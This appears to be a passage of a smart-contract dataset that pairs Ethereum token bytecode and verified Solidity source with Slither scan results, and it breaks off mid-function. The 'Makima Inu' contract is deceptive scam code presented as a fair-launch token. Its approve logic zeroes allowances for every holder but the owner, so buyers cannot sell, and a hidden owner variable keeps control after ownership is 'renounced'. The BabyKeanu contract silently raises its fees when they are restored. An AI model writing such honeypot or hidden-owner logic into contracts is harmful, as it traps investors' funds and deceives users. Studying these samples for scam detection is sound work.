1d565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c590611a89565b600c811115610c1257600080fd5b600855565b6000546001600160a01b03163314610c415760405162461bcd60e51b81526004016104c590611a89565b6001600160a01b038116610ca65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c5565b6104e4816113cf565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf757610cf7611abe565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d749190611b1d565b81600181518110610d8757610d87611abe565b6001600160a01b039283166020918202929092010152600b54610dad9130911684610e29565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de6908590600090869030904290600401611b3a565b600060405180830381600087803b158015610e0057600080fd5b505af1158015610e14573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c5565b6001600160a01b038216610eec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c5565b6001600160a01b0382166110135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c5565b600081116110755760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c5565b6001600160a01b03831660009081526005602052604090205460ff161561109b57600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110dd57506001600160a01b03831660009081526004602052604090205460ff16155b80156110f35750600c54600160a81b900460ff16155b80156111235750600c546001600160a01b03858116911614806111235750600c546001600160a01b038481169116145b156112ff57600c54600160b81b900460ff166111815760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c5565b50600c546001906001600160a01b0385811691161480156111b05750600b546001600160a01b03848116911614155b80156111bd575042600e54115b156112045760006111cd84610685565b90506111ed60646111e7670de0b6b3a7640000600261141f565b9061149e565b6111f784836114e0565b111561120257600080fd5b505b600d54421415611232576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061123d30610685565b600c54909150600160b01b900460ff161580156112685750600c546001600160a01b03868116911614155b156112fd5780156112fd57600c5461129c906064906111e790600f90611296906001600160a01b0316610685565b9061141f565b8111156112c957600c546112c6906064906111e790600f90611296906001600160a01b0316610685565b90505b60006112db600c6111e784600561141f565b90506112e78183611bab565b91506112f28161153f565b6112fb82610caf565b505b505b61130b8484848461156f565b50505050565b600081848411156113355760405162461bcd60e51b81526004016104c59190611858565b5060006113428486611bab565b95945050505050565b60006006548211156113b25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c5565b60006113bc611672565b90506113c8838261149e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261142e575060006104f8565b600061143a8385611bc2565b9050826114478583611be1565b146113c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c5565b60006113c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611695565b6000806114ed8385611b05565b9050838110156113c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c5565b600c805460ff60b01b1916600160b01b17905561155f3061dead83610f4d565b50600c805460ff60b01b19169055565b808061157d5761157d6116c3565b60008060008061158c876116df565b6001600160a01b038d16600090815260016020526040902054939750919550935091506115b99085611726565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115e890846114e0565b6001600160a01b03891660009081526001602052604090205561160a81611768565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161164f91815260200190565b60405180910390a3505050508061166b5761166b600954600855565b5050505050565b600080600061167f6117b2565b909250905061168e828261149e565b9250505090565b600081836116b65760405162461bcd60e51b81526004016104c59190611858565b5060006113428486611be1565b6000600854116116d257600080fd5b6008805460095560009055565b6000806000806000806116f4876008546117f2565b915091506000611702611672565b90506000806117128a858561181f565b909b909a5094985092965092945050505050565b60006113c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611311565b6000611772611672565b90506000611780838361141f565b3060009081526001602052604090205490915061179d90826114e0565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006117cd828261149e565b8210156117e957505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061180560646111e7878761141f565b905060006118138683611726565b96919550909350505050565b6000808061182d868561141f565b9050600061183b868661141f565b905060006118498383611726565b92989297509195505050505050565b600060208083528351808285015260005b8181101561188557858101830151858201604001528201611869565b81811115611897576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e457600080fd5b80356118cd816118ad565b919050565b600080604083850312156118e557600080fd5b82356118f0816118ad565b946020939093013593505050565b60008060006060848603121561191357600080fd5b833561191e816118ad565b9250602084013561192e816118ad565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561196857600080fd5b823567ffffffffffffffff8082111561198057600080fd5b818501915085601f83011261199457600080fd5b8135818111156119a6576119a661193f565b8060051b604051601f19603f830116810181811085821117156119cb576119cb61193f565b6040529182528482019250838101850191888311156119e957600080fd5b938501935b82851015611a0e576119ff856118c2565b845293850193928501926119ee565b98975050505050505050565b600060208284031215611a2c57600080fd5b81356113c8816118ad565b60008060408385031215611a4a57600080fd5b8235611a55816118ad565b91506020830135611a65816118ad565b809150509250929050565b600060208284031215611a8257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611afe57611afe611ad4565b5060010190565b60008219821115611b1857611b18611ad4565b500190565b600060208284031215611b2f57600080fd5b81516113c8816118ad565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b8a5784516001600160a01b031683529383019391830191600101611b65565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611bbd57611bbd611ad4565b500390565b6000816000190483118215151615611bdc57611bdc611ad4565b500290565b600082611bfe57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da238baec74ff258695c7d332cb6dd849727d0f3ac6f0d5cf401973f0a73acc064736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 806 |
0x3d097dc6271e8e554fc15fa1e7b194e1028d0916 | /**
*Submitted for verification at Etherscan.io on 2021-10-15
*/
/**
█▀▄▀█ ▄▀█ █▄▀ █ █▀▄▀█ ▄▀█ █ █▄░█ █░█
█░▀░█ █▀█ █░█ █ █░▀░█ █▀█ █ █░▀█ █▄█
⚔️ Makima Inu ⚔️
🀄️Makima Inu| Queen is here submit to her or get subdued , Makima will slay the jeets and March with apes
🥷Stealth Launch - keep your eyes open for it.
❌No Presale - No Team Tokens - Fairlaunch❌
Telegram: https://t.me/MakimaInu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract MakimaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12 * 10**18;
string private _name = ' Makima Inu ';
string private _symbol = 'Makima ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d6ba5dac466bafc6b3c3a02ec67a2d27e964cc21e48f20d223a46d4c39603e0664736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 807 |
0xe04fb58ac8c6373476932d3b81062870148afb18 | /**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/*
No Team & Marketing wallet. 100% of the tokens will be on the market for trade.
https://t.me/babykeanuotoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyKeanu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyKeanu | t.me/babykeanutoken";
string private constant _symbol = "BKEAN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
